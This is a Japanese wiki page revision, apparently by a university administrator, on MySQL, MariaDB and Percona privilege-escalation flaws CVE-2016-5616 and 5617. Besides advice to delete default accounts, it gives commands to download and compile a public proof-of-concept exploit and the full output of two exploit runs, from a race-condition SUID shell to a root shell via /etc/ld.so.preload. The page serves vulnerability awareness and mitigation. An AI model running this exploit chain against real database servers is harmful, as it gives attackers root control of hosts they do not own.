flagflag  If you want to see English page, please click "English" Button at Left.
1: 2016-11-11 (金) 11:23:42 iseki ソース 現: 2016-11-11 (金) 15:46:20 iseki ソース
Line 1: Line 1:
-*** CVE-2016-5616, 5617 [#u7059892]+** CVE-2016-5616, 5617 [#u7059892] 
 +*** [[MySQL]], [[MariaDB]], [[Percona]] [#t6c6abf6]
- 該当マシンにアカウントがあり，データベースのアクセス（書き込み）可能な場合，Root権限を奪取される - 該当マシンにアカウントがあり，データベースのアクセス（書き込み）可能な場合，Root権限を奪取される
-- MySQL の初期ユーザ等が残っている場合は，特に危険．+- MySQL の初期ユーザ等が残っている場合は特に危険． 
 + 
 +- [[CVE-2016-5616>http://www.cve.mitre.org​/cgi-bin/cvename.cgi?name=CVE-2016-5616]​] 
 +- [[CVE-2016-5617>http://www.cve.mitre.org​/cgi-bin/cvename.cgi?name=CVE-2016-5617]​]
- http://legalhackers.com/advisories/MySQL​-Maria-Percona-PrivEscRace-CVE-2016-6663​-5616-Exploit.html - http://legalhackers.com/advisories/MySQL​-Maria-Percona-PrivEscRace-CVE-2016-6663​-5616-Exploit.html
- http://legalhackers.com/advisories/MySQL​-Maria-Percona-RootPrivEsc-CVE-2016-6664​-5617-Exploit.html - http://legalhackers.com/advisories/MySQL​-Maria-Percona-RootPrivEsc-CVE-2016-6664​-5617-Exploit.html
 +#br
-- デフォルトの+**** デフォルトユーザ [#c3c58224] 
 +- パスワードなし，ユーザ名なしのデータはインストール時に削除すべき． 
 + 
 + MariaDB [(none)]> use mysql;
 MariaDB [mysql]> select Host,User,Password from user;  MariaDB [mysql]> select Host,User,Password from user;
 +-----------+------+-------------------​------------------------+  +-----------+------+-------------------​------------------------+
Line 19: Line 27:
 +-----------+------+-------------------​------------------------+  +-----------+------+-------------------​------------------------+
 +- 以下のコマンドで削除しておく
-[iseki@rigel-b ~]:439$ ./mysql-privesc-race '' '' localhost test+ MariaDB [(none)]> use mysql; 
 + MariaDB [mysql]> delete from user where user='';　　 
 + MariaDB [mysql]> delete from user where password='';
-MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit +**** mysql ユーザアカウントのダッシュ [#z9d7510f] 
-mysql-privesc-race.c (ver. 1.0)+- Exploit code : [[mysql-privesc-race.c>ftp://www.nsl.tuis.ac.jp/pub/mariadb/Vulnerabilities/m​ysql-privesc-race.c]]
-CVE-2016-6663 / CVE-2016-5616+ $ wget ftp://www.nsl.tuis.ac.jp/pub/mariadb/Vul​nerabilities/mysql-privesc-race.c 
 + $ gcc -o mysql-privesc-race mysql-privesc-race.c -I/usr/local/mysql/include/mysql -L/usr/local/mysql/lib -lmysqlclient
-For testing purposes only. Do no harm. 
-Discovered/Coded by: + [iseki@rigel-b ~]:439$ ./mysql-privesc-race '' '' localhost test 
- +  
-Dawid Golunski + MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit 
-http://legalhackers.com + mysql-privesc-race.c (ver. 1.0) 
- +  
- + CVE-2016-6663 / CVE-2016-5616 
-[+] Starting the exploit as: +  
-uid=502(iseki) gid=100(users) 所属グループ=100(users) + For testing purposes only. Do no harm. 
- +  
-[+] Connecting to the database `test` as @localhost + Discovered/Coded by: 
- +  
-[+] Creating exploit temp directory /tmp/mysql_privesc_exploit + Dawid Golunski 
- + http://legalhackers.com 
-[+] Creating mysql tables +  
- +  
-DROP TABLE IF EXISTS exploit_table + [+] Starting the exploit as: 
-DROP TABLE IF EXISTS mysql_suid_shell + uid=502(iseki) gid=100(users) 所属グループ=100(users) 
-CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' +  
-CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' + [+] Connecting to the database `test` as @localhost 
- +  
-[+] Copying bash into the mysql_suid_shell table.+ [+] Creating exploit temp directory /tmp/mysql_privesc_exploit 
 +  
 + [+] Creating mysql tables 
 +  
 + DROP TABLE IF EXISTS exploit_table 
 + DROP TABLE IF EXISTS mysql_suid_shell 
 + CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 
 + CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 
 +  
 + [+] Copying bash into the mysql_suid_shell table.
   After the exploitation the following file/table will be assigned SUID and executable bits :    After the exploitation the following file/table will be assigned SUID and executable bits :
--rw-rw---- 1 mysql users 941880 11月 11 09:37 2016 /tmp/mysql_privesc_exploit/mysql_suid_sh​ell.MYD + -rw-rw---- 1 mysql users 941880 11月 11 09:37 2016 /tmp/mysql_privesc_exploit/mysql_suid_sh​ell.MYD 
- +  
-[+] Entering the race loop... Hang in there... + [+] Entering the race loop... Hang in there... 
-->->->->->->->->->->->->->->->->->->->->​->->->->->->->->->->->->->->->->->->->->​->->->->->->->->->->->->->->->->->->->->​->->->->->->->->->->->->->->->->->->->->​->->->->->->->->->->->->->->->->->->->->​->->->->->->->->->->->->->->->->->->->->​->->->->->->->-> + ->->->->->->->->->->->->->->->->->->->->​->->->->->->->->->->->->->->->->->->->->​->->->->->->->->->->->->->->->->->->->->​->->->->->->->->->->->->->->->->->->->->​->->->->->->->->->->->->->->->->->->->->​->->->->->->->->->->->->->->->->->->->->​->->->->->->->-> 
- +  
-[+] Bingo! Race won (took 12874 tries) ! Check out the mysql SUID shell: + [+] Bingo! Race won (took 12874 tries) ! Check out the mysql SUID shell: 
- +  
--rwsrwxrwx 1 mysql users 941880 11月 11 09:37 2016 /tmp/mysql_privesc_exploit/mysql_suid_sh​ell.MYD + -rwsrwxrwx 1 mysql users 941880 11月 11 09:37 2016 /tmp/mysql_privesc_exploit/mysql_suid_sh​ell.MYD 
- +  
-[+] Spawning the mysql SUID shell now...+ [+] Spawning the mysql SUID shell now...
   Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)    Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)
 + 
 + mysql_suid_shell.MYD-4.1$ whoami
 + mysql
-mysql_suid_shell.MYD-4.1$ whoami +**** mysql アカウントからの root アカウントのダッシュ [#l4b08281] 
-mysql +- Exploit code : [[mysql-chowned.sh>ftp://www.nsl.tuis.ac.jp/pub/mariadb/Vulnerabilities/mysql-chowned.sh]]
- +
- +
- +
- +
-mysql_suid_shell.MYD-4.1$ ./mysql-chowned.sh /var/mysql/rigel-b.err +
- +
-MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit +
-mysql-chowned.sh (ver. 1.0) +
- +
-CVE-2016-6664 / CVE-2016-5617 +
- +
-Discovered and coded by: +
- +
-Dawid Golunski +
-http://legalhackers.com +
- +
-[+] Starting the exploit as +
-uid=502(iseki) gid=100(users) euid=103(mysql) 所属グループ=100(users) +
- +
-[+] Target MySQL log file set to /var/mysql/rigel-b.err +
- +
-[+] Compiling the privesc shared library (/tmp/privesclib.c) +
- +
-[+] Backdoor/low-priv shell installed at: +
--rwxr-xr-x 1 mysql users 941880 11月 11 09:52 2016 /tmp/mysqlrootsh +
- +
-[+] Symlink created at: +
-lrwxrwxrwx 1 mysql users 18 11月 11 09:52 2016 /var/mysql/rigel-b.err -> /etc/ld.so.preload +
- +
-[+] Waiting for MySQL to re-open the logs/MySQL service restart... +
- +
-[+] Waiting for MySQL to re-open the logs/MySQL service restart... +
-./mysql-chowned.sh: line 153: pidof: コマンドが見つかりません +
-Do you want to kill mysqld process  to instantly get root? :) ? [y/n] y +
-Got it. Executing 'killall mysqld' now... +
- +
-[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: +
--rw-r----- 1 mysql root 19 11月 11 09:52 2016 /etc/ld.so.preload +
- +
-[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload +
- +
-[+] The /etc/ld.so.preload file now contains: +
-/tmp/privesclib.so +
- +
-[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! +
--rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/mysqlrootsh +
- +
-[+] Rootshell got assigned root SUID perms at: +
--rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/mysqlrootsh +
- +
-Got root! The database server has been ch-OWNED ! +
- +
-[+] Spawning the rootshell /tmp/mysqlrootsh now! +
- +
-mysqlrootsh-4.1# whoami +
-root+
-[/code]+ mysql_suid_shell.MYD-4.1$ ./mysql-chowned.sh /var/mysql/rigel-b.err 
 +  
 + MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit 
 + mysql-chowned.sh (ver. 1.0) 
 +  
 + CVE-2016-6664 / CVE-2016-5617 
 +  
 + Discovered and coded by: 
 +  
 + Dawid Golunski 
 + http://legalhackers.com 
 +  
 + [+] Starting the exploit as 
 + uid=502(iseki) gid=100(users) euid=103(mysql) 所属グループ=100(users) 
 +  
 + [+] Target MySQL log file set to /var/mysql/rigel-b.err 
 +  
 + [+] Compiling the privesc shared library (/tmp/privesclib.c) 
 +  
 + [+] Backdoor/low-priv shell installed at: 
 + -rwxr-xr-x 1 mysql users 941880 11月 11 09:52 2016 /tmp/mysqlrootsh 
 +  
 + [+] Symlink created at: 
 + lrwxrwxrwx 1 mysql users 18 11月 11 09:52 2016 /var/mysql/rigel-b.err -> /etc/ld.so.preload 
 +  
 + [+] Waiting for MySQL to re-open the logs/MySQL service restart... 
 +  
 + [+] Waiting for MySQL to re-open the logs/MySQL service restart... 
 + ./mysql-chowned.sh: line 153: pidof: コマンドが見つかりません 
 + Do you want to kill mysqld process  to instantly get root? :) ? [y/n] y 
 + Got it. Executing 'killall mysqld' now... 
 +  
 + [+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: 
 + -rw-r----- 1 mysql root 19 11月 11 09:52 2016 /etc/ld.so.preload 
 +  
 + [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload 
 +  
 + [+] The /etc/ld.so.preload file now contains: 
 + /tmp/privesclib.so 
 +  
 + [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! 
 + -rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/mysqlrootsh 
 +  
 + [+] Rootshell got assigned root SUID perms at: 
 + -rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/mysqlrootsh 
 +  
 + Got root! The database server has been ch-OWNED ! 
 +  
 + [+] Spawning the rootshell /tmp/mysqlrootsh now! 
 +  
 + mysqlrootsh-4.1# whoami 
 + root
トップ   新規 ページ一覧 単語検索 最終更新   ヘルプ   最終更新のRSS 1.0 最終更新のRSS 2.0 最終更新のRSS Atom
ページ作成: iseki
サイト管理: admin

サイト内 検索


高度な検索

ログイン
ユーザー名:

パスワード:


パスワード紛失
新規登録

サブ メニュー

Books

ミニカレンダー
前月2024年 5月翌月
日 月 火 水 木 金 土
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
＜今日＞

オンライン状況
127 人のユーザが現在オンラインです。 (16 人のユーザが xpwiki を参照しています。)

登録ユーザ: 0
ゲスト: 127

もっと...

アクセスカウンタ
今日 : 3277327732773277
昨日 : 1223912239122391223912239
総計 : 2354094723540947235409472354094723540947235409472354094723540947
Powered by XOOPS Cube 2.1© 2001-2006 XOOPS Cube Project
Design by XoopsDesign.com